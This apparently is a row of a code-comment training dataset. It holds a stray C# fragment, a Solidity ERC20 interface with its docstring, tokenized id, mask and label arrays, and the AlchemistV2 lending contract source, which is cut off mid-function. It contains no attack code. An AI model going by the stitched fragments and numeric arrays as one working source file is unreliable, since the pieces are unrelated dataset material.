prices[n] = GetNextTick(true, prices[n - 1] + 1, ob.tickSize);
else
prices[n] = GetNextTick(false, prices[n - 1] - 1, ob.tickSize);
n++;
}
}
}
}
}
|
@title: Token @dev: Interface contract for ERC20 tokens/
|
contract Token {
function totalSupply() public view returns (uint256 supply);
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| 1,032,899 |
[
1,
30,
3155,
294,
6682,
6835,
364,
4232,
39,
3462,
2430,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
3155,
288,
203,
225,
445,
2078,
3088,
1283,
1435,
1071,
1476,
1135,
261,
11890,
5034,
14467,
1769,
203,
225,
445,
11013,
951,
12,
2867,
389,
8443,
13,
1071,
1476,
1135,
261,
11890,
5034,
11013,
1769,
203,
225,
445,
7412,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
2216,
1769,
203,
225,
445,
7412,
1265,
12,
2867,
389,
2080,
16,
1758,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
2216,
1769,
203,
225,
445,
6617,
537,
12,
2867,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
2216,
1769,
203,
225,
445,
1699,
1359,
12,
2867,
389,
8443,
16,
1758,
389,
87,
1302,
264,
13,
1071,
1476,
1135,
261,
11890,
5034,
4463,
1769,
203,
225,
871,
12279,
12,
2867,
8808,
389,
2080,
16,
1758,
8808,
389,
869,
16,
2254,
5034,
389,
1132,
1769,
203,
225,
871,
1716,
685,
1125,
12,
2867,
8808,
389,
8443,
16,
1758,
8808,
389,
87,
1302,
264,
16,
2254,
5034,
389,
1132,
1769,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8.11;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {Unauthorized, IllegalState, IllegalArgument} from "./base/Errors.sol";
import "./base/Multicall.sol";
import "./base/Mutex.sol";
import "./interfaces/IAlchemistV2.sol";
import "./interfaces/IERC20Minimal.sol";
import "./interfaces/IERC20TokenReceiver.sol";
import "./interfaces/ITokenAdapter.sol";
import "./interfaces/IAlchemicToken.sol";
import "./interfaces/IWhitelist.sol";
import "./libraries/SafeCast.sol";
import "./libraries/Sets.sol";
import "./libraries/TokenUtils.sol";
import "./libraries/Limiters.sol";
/// @title AlchemistV2
/// @author Alchemix Finance
contract AlchemistV2 is IAlchemistV2, Initializable, Multicall, Mutex {
using Limiters for Limiters.LinearGrowthLimiter;
using Sets for Sets.AddressSet;
/// @notice A user account.
struct Account {
// A signed value which represents the current amount of debt or credit that the account has accrued.
// Positive values indicate debt, negative values indicate credit.
int256 debt;
// The share balances for each yield token.
mapping(address => uint256) balances;
// The last values recorded for accrued weights for each yield token.
mapping(address => uint256) lastAccruedWeights;
// The set of yield tokens that the account has deposited into the system.
Sets.AddressSet depositedTokens;
// The allowances for mints.
mapping(address => uint256) mintAllowances;
// The allowances for withdrawals.
mapping(address => mapping(address => uint256)) withdrawAllowances;
}
/// @notice The number of basis points there are to represent exactly 100%.
uint256 public constant BPS = 10000;
/// @notice The scalar used for conversion of integral numbers to fixed point numbers. Fixed point numbers in this
/// implementation have 18 decimals of resolution, meaning that 1 is represented as 1e18, 0.5 is
/// represented as 5e17, and 2 is represented as 2e18.
uint256 public constant FIXED_POINT_SCALAR = 1e18;
/// @inheritdoc IAlchemistV2Immutables
string public constant override version = "2.2.6";
/// @inheritdoc IAlchemistV2Immutables
address public override debtToken;
/// @inheritdoc IAlchemistV2State
address public override admin;
/// @inheritdoc IAlchemistV2State
address public override pendingAdmin;
/// @inheritdoc IAlchemistV2State
mapping(address => bool) public override sentinels;
/// @inheritdoc IAlchemistV2State
mapping(address => bool) public override keepers;
/// @inheritdoc IAlchemistV2State
address public override transmuter;
/// @inheritdoc IAlchemistV2State
uint256 public override minimumCollateralization;
/// @inheritdoc IAlchemistV2State
uint256 public override protocolFee;
/// @inheritdoc IAlchemistV2State
address public override protocolFeeReceiver;
/// @inheritdoc IAlchemistV2State
address public override whitelist;
/// @dev A linear growth function that limits the amount of debt-token minted.
Limiters.LinearGrowthLimiter private _mintingLimiter;
// @dev The repay limiters for each underlying token.
mapping(address => Limiters.LinearGrowthLimiter) private _repayLimiters;
// @dev The liquidation limiters for each underlying token.
mapping(address => Limiters.LinearGrowthLimiter) private _liquidationLimiters;
/// @dev Accounts mapped by the address that owns them.
mapping(address => Account) private _accounts;
/// @dev Underlying token parameters mapped by token address.
mapping(address => UnderlyingTokenParams) private _underlyingTokens;
/// @dev Yield token parameters mapped by token address.
mapping(address => YieldTokenParams) private _yieldTokens;
/// @dev An iterable set of the underlying tokens that are supported by the system.
Sets.AddressSet private _supportedUnderlyingTokens;
/// @dev An iterable set of the yield tokens that are supported by the system.
Sets.AddressSet private _supportedYieldTokens;
constructor() initializer {}
/// @inheritdoc IAlchemistV2State
function getYieldTokensPerShare(address yieldToken) external view override returns (uint256) {
return _convertSharesToYieldTokens(yieldToken, 10**_yieldTokens[yieldToken].decimals);
}
/// @inheritdoc IAlchemistV2State
function getUnderlyingTokensPerShare(address yieldToken) external view override returns (uint256) {
return _convertSharesToUnderlyingTokens(yieldToken, 10**_yieldTokens[yieldToken].decimals);
}
/// @inheritdoc IAlchemistV2State
function getSupportedUnderlyingTokens() external view override returns (address[] memory) {
return _supportedUnderlyingTokens.values;
}
/// @inheritdoc IAlchemistV2State
function getSupportedYieldTokens() external view override returns (address[] memory) {
return _supportedYieldTokens.values;
}
/// @inheritdoc IAlchemistV2State
function isSupportedUnderlyingToken(address underlyingToken) external view override returns (bool) {
return _supportedUnderlyingTokens.contains(underlyingToken);
}
/// @inheritdoc IAlchemistV2State
function isSupportedYieldToken(address yieldToken) external view override returns (bool) {
return _supportedYieldTokens.contains(yieldToken);
}
/// @inheritdoc IAlchemistV2State
function accounts(address owner)
external view override
returns (
int256 debt,
address[] memory depositedTokens
)
{
Account storage account = _accounts[owner];
return (
_calculateUnrealizedDebt(owner),
account.depositedTokens.values
);
}
/// @inheritdoc IAlchemistV2State
function positions(address owner, address yieldToken)
external view override
returns (
uint256 shares,
uint256 lastAccruedWeight
)
{
Account storage account = _accounts[owner];
return (account.balances[yieldToken], account.lastAccruedWeights[yieldToken]);
}
/// @inheritdoc IAlchemistV2State
function mintAllowance(address owner, address spender)
external view override
returns (uint256)
{
Account storage account = _accounts[owner];
return account.mintAllowances[spender];
}
/// @inheritdoc IAlchemistV2State
function withdrawAllowance(address owner, address spender, address yieldToken)
external view override
returns (uint256)
{
Account storage account = _accounts[owner];
return account.withdrawAllowances[spender][yieldToken];
}
/// @inheritdoc IAlchemistV2State
function getUnderlyingTokenParameters(address underlyingToken)
external view override
returns (UnderlyingTokenParams memory)
{
return _underlyingTokens[underlyingToken];
}
/// @inheritdoc IAlchemistV2State
function getYieldTokenParameters(address yieldToken)
external view override
returns (YieldTokenParams memory)
{
return _yieldTokens[yieldToken];
}
/// @inheritdoc IAlchemistV2State
function getMintLimitInfo()
external view override
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
)
{
return (
_mintingLimiter.get(),
_mintingLimiter.rate,
_mintingLimiter.maximum
);
}
/// @inheritdoc IAlchemistV2State
function getRepayLimitInfo(address underlyingToken)
external view override
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
)
{
Limiters.LinearGrowthLimiter storage limiter = _repayLimiters[underlyingToken];
return (
limiter.get(),
limiter.rate,
limiter.maximum
);
}
/// @inheritdoc IAlchemistV2State
function getLiquidationLimitInfo(address underlyingToken)
external view override
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
)
{
Limiters.LinearGrowthLimiter storage limiter = _liquidationLimiters[underlyingToken];
return (
limiter.get(),
limiter.rate,
limiter.maximum
);
}
/// @inheritdoc IAlchemistV2AdminActions
function initialize(InitializationParams memory params) external initializer {
_checkArgument(params.protocolFee <= BPS);
debtToken = params.debtToken;
admin = params.admin;
transmuter = params.transmuter;
minimumCollateralization = params.minimumCollateralization;
protocolFee = params.protocolFee;
protocolFeeReceiver = params.protocolFeeReceiver;
whitelist = params.whitelist;
_mintingLimiter = Limiters.createLinearGrowthLimiter(
params.mintingLimitMaximum,
params.mintingLimitBlocks,
params.mintingLimitMinimum
);
emit AdminUpdated(admin);
emit TransmuterUpdated(transmuter);
emit MinimumCollateralizationUpdated(minimumCollateralization);
emit ProtocolFeeUpdated(protocolFee);
emit ProtocolFeeReceiverUpdated(protocolFeeReceiver);
emit MintingLimitUpdated(params.mintingLimitMaximum, params.mintingLimitBlocks);
}
/// @inheritdoc IAlchemistV2AdminActions
function setPendingAdmin(address value) external override {
_onlyAdmin();
pendingAdmin = value;
emit PendingAdminUpdated(value);
}
/// @inheritdoc IAlchemistV2AdminActions
function acceptAdmin() external override {
_checkState(pendingAdmin != address(0));
if (msg.sender != pendingAdmin) {
revert Unauthorized();
}
admin = pendingAdmin;
pendingAdmin = address(0);
emit AdminUpdated(admin);
emit PendingAdminUpdated(address(0));
}
/// @inheritdoc IAlchemistV2AdminActions
function setSentinel(address sentinel, bool flag) external override {
_onlyAdmin();
sentinels[sentinel] = flag;
emit SentinelSet(sentinel, flag);
}
/// @inheritdoc IAlchemistV2AdminActions
function setKeeper(address keeper, bool flag) external override {
_onlyAdmin();
keepers[keeper] = flag;
emit KeeperSet(keeper, flag);
}
/// @inheritdoc IAlchemistV2AdminActions
function addUnderlyingToken(address underlyingToken, UnderlyingTokenConfig calldata config) external override lock {
_onlyAdmin();
_checkState(!_supportedUnderlyingTokens.contains(underlyingToken));
uint8 tokenDecimals = TokenUtils.expectDecimals(underlyingToken);
uint8 debtTokenDecimals = TokenUtils.expectDecimals(debtToken);
_checkArgument(tokenDecimals <= debtTokenDecimals);
_underlyingTokens[underlyingToken] = UnderlyingTokenParams({
decimals: tokenDecimals,
conversionFactor: 10**(debtTokenDecimals - tokenDecimals),
enabled: false
});
_repayLimiters[underlyingToken] = Limiters.createLinearGrowthLimiter(
config.repayLimitMaximum,
config.repayLimitBlocks,
config.repayLimitMinimum
);
_liquidationLimiters[underlyingToken] = Limiters.createLinearGrowthLimiter(
config.liquidationLimitMaximum,
config.liquidationLimitBlocks,
config.liquidationLimitMinimum
);
_supportedUnderlyingTokens.add(underlyingToken);
emit AddUnderlyingToken(underlyingToken);
}
/// @inheritdoc IAlchemistV2AdminActions
function addYieldToken(address yieldToken, YieldTokenConfig calldata config) external override lock {
_onlyAdmin();
_checkArgument(config.maximumLoss <= BPS);
_checkArgument(config.creditUnlockBlocks > 0);
_checkState(!_supportedYieldTokens.contains(yieldToken));
ITokenAdapter adapter = ITokenAdapter(config.adapter);
_checkState(yieldToken == adapter.token());
_checkSupportedUnderlyingToken(adapter.underlyingToken());
_yieldTokens[yieldToken] = YieldTokenParams({
decimals: TokenUtils.expectDecimals(yieldToken),
underlyingToken: adapter.underlyingToken(),
adapter: config.adapter,
maximumLoss: config.maximumLoss,
maximumExpectedValue: config.maximumExpectedValue,
creditUnlockRate: FIXED_POINT_SCALAR / config.creditUnlockBlocks,
activeBalance: 0,
harvestableBalance: 0,
totalShares: 0,
expectedValue: 0,
accruedWeight: 0,
pendingCredit: 0,
distributedCredit: 0,
lastDistributionBlock: 0,
enabled: false
});
_supportedYieldTokens.add(yieldToken);
TokenUtils.safeApprove(yieldToken, config.adapter, type(uint256).max);
TokenUtils.safeApprove(adapter.underlyingToken(), config.adapter, type(uint256).max);
emit AddYieldToken(yieldToken);
emit TokenAdapterUpdated(yieldToken, config.adapter);
emit MaximumLossUpdated(yieldToken, config.maximumLoss);
}
/// @inheritdoc IAlchemistV2AdminActions
function setUnderlyingTokenEnabled(address underlyingToken, bool enabled) external override {
_onlySentinelOrAdmin();
_checkSupportedUnderlyingToken(underlyingToken);
_underlyingTokens[underlyingToken].enabled = enabled;
emit UnderlyingTokenEnabled(underlyingToken, enabled);
}
/// @inheritdoc IAlchemistV2AdminActions
function setYieldTokenEnabled(address yieldToken, bool enabled) external override {
_onlySentinelOrAdmin();
_checkSupportedYieldToken(yieldToken);
_yieldTokens[yieldToken].enabled = enabled;
emit YieldTokenEnabled(yieldToken, enabled);
}
/// @inheritdoc IAlchemistV2AdminActions
function configureRepayLimit(address underlyingToken, uint256 maximum, uint256 blocks) external override {
_onlyAdmin();
_checkSupportedUnderlyingToken(underlyingToken);
_repayLimiters[underlyingToken].update();
_repayLimiters[underlyingToken].configure(maximum, blocks);
emit RepayLimitUpdated(underlyingToken, maximum, blocks);
}
/// @inheritdoc IAlchemistV2AdminActions
function configureLiquidationLimit(address underlyingToken, uint256 maximum, uint256 blocks) external override {
_onlyAdmin();
_checkSupportedUnderlyingToken(underlyingToken);
_liquidationLimiters[underlyingToken].update();
_liquidationLimiters[underlyingToken].configure(maximum, blocks);
emit LiquidationLimitUpdated(underlyingToken, maximum, blocks);
}
/// @inheritdoc IAlchemistV2AdminActions
function setTransmuter(address value) external override {
_onlyAdmin();
_checkArgument(value != address(0));
transmuter = value;
emit TransmuterUpdated(value);
}
/// @inheritdoc IAlchemistV2AdminActions
function setMinimumCollateralization(uint256 value) external override {
_onlyAdmin();
minimumCollateralization = value;
emit MinimumCollateralizationUpdated(value);
}
/// @inheritdoc IAlchemistV2AdminActions
function setProtocolFee(uint256 value) external override {
_onlyAdmin();
_checkArgument(value <= BPS);
protocolFee = value;
emit ProtocolFeeUpdated(value);
}
/// @inheritdoc IAlchemistV2AdminActions
function setProtocolFeeReceiver(address value) external override {
_onlyAdmin();
_checkArgument(value != address(0));
protocolFeeReceiver = value;
emit ProtocolFeeReceiverUpdated(value);
}
/// @inheritdoc IAlchemistV2AdminActions
function configureMintingLimit(uint256 maximum, uint256 rate) external override {
_onlyAdmin();
_mintingLimiter.update();
_mintingLimiter.configure(maximum, rate);
emit MintingLimitUpdated(maximum, rate);
}
/// @inheritdoc IAlchemistV2AdminActions
function configureCreditUnlockRate(address yieldToken, uint256 blocks) external override {
_onlyAdmin();
_checkArgument(blocks > 0);
_checkSupportedYieldToken(yieldToken);
_yieldTokens[yieldToken].creditUnlockRate = FIXED_POINT_SCALAR / blocks;
emit CreditUnlockRateUpdated(yieldToken, blocks);
}
/// @inheritdoc IAlchemistV2AdminActions
function setTokenAdapter(address yieldToken, address adapter) external override {
_onlyAdmin();
_checkState(yieldToken == ITokenAdapter(adapter).token());
_checkSupportedYieldToken(yieldToken);
_yieldTokens[yieldToken].adapter = adapter;
TokenUtils.safeApprove(yieldToken, adapter, type(uint256).max);
TokenUtils.safeApprove(ITokenAdapter(adapter).underlyingToken(), adapter, type(uint256).max);
emit TokenAdapterUpdated(yieldToken, adapter);
}
/// @inheritdoc IAlchemistV2AdminActions
function setMaximumExpectedValue(address yieldToken, uint256 value) external override {
_onlyAdmin();
_checkSupportedYieldToken(yieldToken);
_yieldTokens[yieldToken].maximumExpectedValue = value;
emit MaximumExpectedValueUpdated(yieldToken, value);
}
/// @inheritdoc IAlchemistV2AdminActions
function setMaximumLoss(address yieldToken, uint256 value) external override {
_onlyAdmin();
_checkArgument(value <= BPS);
_checkSupportedYieldToken(yieldToken);
_yieldTokens[yieldToken].maximumLoss = value;
emit MaximumLossUpdated(yieldToken, value);
}
/// @inheritdoc IAlchemistV2AdminActions
function snap(address yieldToken) external override lock {
_onlyAdmin();
_checkSupportedYieldToken(yieldToken);
uint256 expectedValue = _convertYieldTokensToUnderlying(yieldToken, _yieldTokens[yieldToken].activeBalance);
_yieldTokens[yieldToken].expectedValue = expectedValue;
emit Snap(yieldToken, expectedValue);
}
/// @inheritdoc IAlchemistV2Actions
function approveMint(address spender, uint256 amount) external override {
_onlyWhitelisted();
_approveMint(msg.sender, spender, amount);
}
/// @inheritdoc IAlchemistV2Actions
function approveWithdraw(address spender, address yieldToken, uint256 shares) external override {
_onlyWhitelisted();
_checkSupportedYieldToken(yieldToken);
_approveWithdraw(msg.sender, spender, yieldToken, shares);
}
/// @inheritdoc IAlchemistV2Actions
function poke(address owner) external override lock {
_onlyWhitelisted();
_preemptivelyHarvestDeposited(owner);
_distributeUnlockedCreditDeposited(owner);
_poke(owner);
}
/// @inheritdoc IAlchemistV2Actions
function deposit(
address yieldToken,
uint256 amount,
address recipient
) external override lock returns (uint256) {
_onlyWhitelisted();
_checkArgument(recipient != address(0));
_checkSupportedYieldToken(yieldToken);
// Deposit the yield tokens to the recipient.
uint256 shares = _deposit(yieldToken, amount, recipient);
// Transfer tokens from the message sender now that the internal storage updates have been committed.
TokenUtils.safeTransferFrom(yieldToken, msg.sender, address(this), amount);
return shares;
}
/// @inheritdoc IAlchemistV2Actions
function depositUnderlying(
address yieldToken,
uint256 amount,
address recipient,
uint256 minimumAmountOut
) external override lock returns (uint256) {
_onlyWhitelisted();
_checkArgument(recipient != address(0));
_checkSupportedYieldToken(yieldToken);
// Before depositing, the underlying tokens must be wrapped into yield tokens.
uint256 amountYieldTokens = _wrap(yieldToken, amount, minimumAmountOut);
// Deposit the yield-tokens to the recipient.
return _deposit(yieldToken, amountYieldTokens, recipient);
}
/// @inheritdoc IAlchemistV2Actions
function withdraw(
address yieldToken,
uint256 shares,
address recipient
) external override lock returns (uint256) {
_onlyWhitelisted();
_checkArgument(recipient != address(0));
_checkSupportedYieldToken(yieldToken);
// Withdraw the shares from the system.
uint256 amountYieldTokens = _withdraw(yieldToken, msg.sender, shares, recipient);
// Transfer the yield tokens to the recipient.
TokenUtils.safeTransfer(yieldToken, recipient, amountYieldTokens);
return amountYieldTokens;
}
/// @inheritdoc IAlchemistV2Actions
function withdrawFrom(
address owner,
address yieldToken,
uint256 shares,
address recipient
) external override lock returns (uint256) {
_onlyWhitelisted();
_checkArgument(recipient != address(0));
_checkSupportedYieldToken(yieldToken);
// Preemptively try and decrease the withdrawal allowance. This will save gas when the allowance is not
// sufficient for the withdrawal.
_decreaseWithdrawAllowance(owner, msg.sender, yieldToken, shares);
// Withdraw the shares from the system.
uint256 amountYieldTokens = _withdraw(yieldToken, owner, shares, recipient);
// Transfer the yield tokens to the recipient.
TokenUtils.safeTransfer(yieldToken, recipient, amountYieldTokens);
return amountYieldTokens;
}
/// @inheritdoc IAlchemistV2Actions
function withdrawUnderlying(
address yieldToken,
uint256 shares,
address recipient,
uint256 minimumAmountOut
) external override lock returns (uint256) {
_onlyWhitelisted();
_checkArgument(recipient != address(0));
_checkSupportedYieldToken(yieldToken);
_checkLoss(yieldToken);
uint256 amountYieldTokens = _withdraw(yieldToken, msg.sender, shares, recipient);
return _unwrap(yieldToken, amountYieldTokens, recipient, minimumAmountOut);
}
/// @inheritdoc IAlchemistV2Actions
function withdrawUnderlyingFrom(
address owner,
address yieldToken,
uint256 shares,
address recipient,
uint256 minimumAmountOut
) external override lock returns (uint256) {
_onlyWhitelisted();
_checkArgument(recipient != address(0));
_checkSupportedYieldToken(yieldToken);
_checkLoss(yieldToken);
_decreaseWithdrawAllowance(owner, msg.sender, yieldToken, shares);
uint256 amountYieldTokens = _withdraw(yieldToken, owner, shares, recipient);
return _unwrap(yieldToken, amountYieldTokens, recipient, minimumAmountOut);
}
/// @inheritdoc IAlchemistV2Actions
function mint(uint256 amount, address recipient) external override lock {
_onlyWhitelisted();
_checkArgument(amount > 0);
_checkArgument(recipient != address(0));
// Mint tokens from the message sender's account to the recipient.
_mint(msg.sender, amount, recipient);
}
/// @inheritdoc IAlchemistV2Actions
function mintFrom(
address owner,
uint256 amount,
address recipient
) external override lock {
_onlyWhitelisted();
_checkArgument(amount > 0);
_checkArgument(recipient != address(0));
// Preemptively try and decrease the minting allowance. This will save gas when the allowance is not sufficient
// for the mint.
_decreaseMintAllowance(owner, msg.sender, amount);
// Mint tokens from the owner's account to the recipient.
_mint(owner, amount, recipient);
}
/// @inheritdoc IAlchemistV2Actions
function burn(uint256 amount, address recipient) external override lock returns (uint256) {
_onlyWhitelisted();
_checkArgument(amount > 0);
_checkArgument(recipient != address(0));
// Distribute unlocked credit to depositors.
_distributeUnlockedCreditDeposited(recipient);
// Update the recipient's account, decrease the debt of the recipient by the number of tokens burned.
_poke(recipient);
// Check that the debt is greater than zero.
//
// It is possible that the number of debt which is repayable is equal to or less than zero after realizing the
// credit that was earned since the last update. We do not want to perform a noop so we need to check that the
// amount of debt to repay is greater than zero.
int256 debt;
_checkState((debt = _accounts[recipient].debt) > 0);
// Limit how much debt can be repaid up to the current amount of debt that the account has. This prevents
// situations where the user may be trying to repay their entire debt, but it decreases since they send the
// transaction and causes a revert because burning can never decrease the debt below zero.
//
// Casts here are safe because it is asserted that debt is greater than zero.
uint256 credit = amount > uint256(debt) ? uint256(debt) : amount;
// Update the recipient's debt.
_updateDebt(recipient, -SafeCast.toInt256(credit));
// Burn the tokens from the message sender.
TokenUtils.safeBurnFrom(debtToken, msg.sender, credit);
emit Burn(msg.sender, credit, recipient);
return credit;
}
/// @inheritdoc IAlchemistV2Actions
function repay(address underlyingToken, uint256 amount, address recipient) external override lock returns (uint256) {
_onlyWhitelisted();
_checkArgument(amount > 0);
_checkArgument(recipient != address(0));
_checkSupportedUnderlyingToken(underlyingToken);
_checkUnderlyingTokenEnabled(underlyingToken);
// Distribute unlocked credit to depositors.
_distributeUnlockedCreditDeposited(recipient);
// Update the recipient's account and decrease the amount of debt incurred.
_poke(recipient);
// Check that the debt is greater than zero.
//
// It is possible that the amount of debt which is repayable is equal to or less than zero after realizing the
// credit that was earned since the last update. We do not want to perform a noop so we need to check that the
// amount of debt to repay is greater than zero.
int256 debt;
_checkState((debt = _accounts[recipient].debt) > 0);
// Determine the maximum amount of underlying tokens that can be repaid.
//
// It is implied that this value is greater than zero because `debt` is greater than zero so a noop is not possible
// beyond this point. Casting the debt to an unsigned integer is also safe because `debt` is greater than zero.
uint256 maximumAmount = _normalizeDebtTokensToUnderlying(underlyingToken, uint256(debt));
// Limit the number of underlying tokens to repay up to the maximum allowed.
uint256 actualAmount = amount > maximumAmount ? maximumAmount : amount;
Limiters.LinearGrowthLimiter storage limiter = _repayLimiters[underlyingToken];
// Check to make sure that the underlying token repay limit has not been breached.
uint256 currentRepayLimit = limiter.get();
if (actualAmount > currentRepayLimit) {
revert RepayLimitExceeded(underlyingToken, actualAmount, currentRepayLimit);
}
uint256 credit = _normalizeUnderlyingTokensToDebt(underlyingToken, actualAmount);
// Update the recipient's debt.
_updateDebt(recipient, -SafeCast.toInt256(credit));
// Decrease the amount of the underlying token which is globally available to be repaid.
limiter.decrease(actualAmount);
// Transfer the repaid tokens to the transmuter.
TokenUtils.safeTransferFrom(underlyingToken, msg.sender, transmuter, actualAmount);
// Inform the transmuter that it has received tokens.
IERC20TokenReceiver(transmuter).onERC20Received(underlyingToken, actualAmount);
emit Repay(msg.sender, underlyingToken, actualAmount, recipient);
return actualAmount;
}
/// @inheritdoc IAlchemistV2Actions
function liquidate(
address yieldToken,
uint256 shares,
uint256 minimumAmountOut
) external override lock returns (uint256) {
_onlyWhitelisted();
_checkArgument(shares > 0);
YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken];
address underlyingToken = yieldTokenParams.underlyingToken;
_checkSupportedYieldToken(yieldToken);
_checkYieldTokenEnabled(yieldToken);
_checkUnderlyingTokenEnabled(underlyingToken);
_checkLoss(yieldToken);
// Calculate the unrealized debt.
//
// It is possible that the number of debt which is repayable is equal to or less than zero after realizing the
// credit that was earned since the last update. We do not want to perform a noop so we need to check that the
// amount of debt to repay is greater than zero.
int256 unrealizedDebt;
_checkState((unrealizedDebt = _calculateUnrealizedDebt(msg.sender)) > 0);
// Determine the maximum amount of shares that can be liquidated from the unrealized debt.
//
// It is implied that this value is greater than zero because `debt` is greater than zero. Casting the debt to an
// unsigned integer is also safe for this reason.
uint256 maximumShares = _convertUnderlyingTokensToShares(
yieldToken,
_normalizeDebtTokensToUnderlying(underlyingToken, uint256(unrealizedDebt))
);
// Limit the number of shares to liquidate up to the maximum allowed.
uint256 actualShares = shares > maximumShares ? maximumShares : shares;
// Unwrap the yield tokens that the shares are worth.
uint256 amountYieldTokens = _convertSharesToYieldTokens(yieldToken, actualShares);
uint256 amountUnderlyingTokens = _unwrap(yieldToken, amountYieldTokens, address(this), minimumAmountOut);
// Again, perform another noop check. It is possible that the amount of underlying tokens that were received by
// unwrapping the yield tokens was zero because the amount of yield tokens to unwrap was too small.
_checkState(amountUnderlyingTokens > 0);
Limiters.LinearGrowthLimiter storage limiter = _liquidationLimiters[underlyingToken];
// Check to make sure that the underlying token liquidation limit has not been breached.
uint256 liquidationLimit = limiter.get();
if (amountUnderlyingTokens > liquidationLimit) {
revert LiquidationLimitExceeded(underlyingToken, amountUnderlyingTokens, liquidationLimit);
}
// Buffers any harvestable yield tokens. This will properly synchronize the balance which is held by users
// and the balance which is held by the system. This is required for `_sync` to function correctly.
_preemptivelyHarvest(yieldToken);
// Distribute unlocked credit to depositors.
_distributeUnlockedCreditDeposited(msg.sender);
uint256 credit = _normalizeUnderlyingTokensToDebt(underlyingToken, amountUnderlyingTokens);
// Update the message sender's account, proactively burn shares, decrease the amount of debt incurred, and then
// decrease the value of the token that the system is expected to hold.
_poke(msg.sender, yieldToken);
_burnShares(msg.sender, yieldToken, actualShares);
_updateDebt(msg.sender, -SafeCast.toInt256(credit));
_sync(yieldToken, amountYieldTokens, _usub);
// Decrease the amount of the underlying token which is globally available to be liquidated.
limiter.decrease(amountUnderlyingTokens);
// Transfer the liquidated tokens to the transmuter.
TokenUtils.safeTransfer(underlyingToken, transmuter, amountUnderlyingTokens);
// Inform the transmuter that it has received tokens.
IERC20TokenReceiver(transmuter).onERC20Received(underlyingToken, amountUnderlyingTokens);
emit Liquidate(msg.sender, yieldToken, underlyingToken, actualShares);
return actualShares;
}
/// @inheritdoc IAlchemistV2Actions
function donate(address yieldToken, uint256 amount) external override lock {
_onlyWhitelisted();
_checkArgument(amount != 0);
// Distribute any unlocked credit so that the accrued weight is up to date.
_distributeUnlockedCredit(yieldToken);
// Update the message sender's account. This will assure that any credit that was earned is not overridden.
_poke(msg.sender);
uint256 shares = _yieldTokens[yieldToken].totalShares - _accounts[msg.sender].balances[yieldToken];
_yieldTokens[yieldToken].accruedWeight += amount * FIXED_POINT_SCALAR / shares;
_accounts[msg.sender].lastAccruedWeights[yieldToken] = _yieldTokens[yieldToken].accruedWeight;
TokenUtils.safeBurnFrom(debtToken, msg.sender, amount);
emit Donate(msg.sender, yieldToken, amount);
}
/// @inheritdoc IAlchemistV2Actions
function harvest(address yieldToken, uint256 minimumAmountOut) external override lock {
_onlyKeeper();
_checkSupportedYieldToken(yieldToken);
YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken];
// Buffer any harvestable yield tokens. This will properly synchronize the balance which is held by users
// and the balance which is held by the system to be harvested during this call.
_preemptivelyHarvest(yieldToken);
// Load and proactively clear the amount of harvestable tokens so that future calls do not rely on stale data.
// Because we cannot call an external unwrap until the amount of harvestable tokens has been calculated,
// clearing this data immediately prevents any potential reentrancy attacks which would use stale harvest
// buffer values.
uint256 harvestableAmount = yieldTokenParams.harvestableBalance;
yieldTokenParams.harvestableBalance = 0;
// Check that the harvest will not be a no-op.
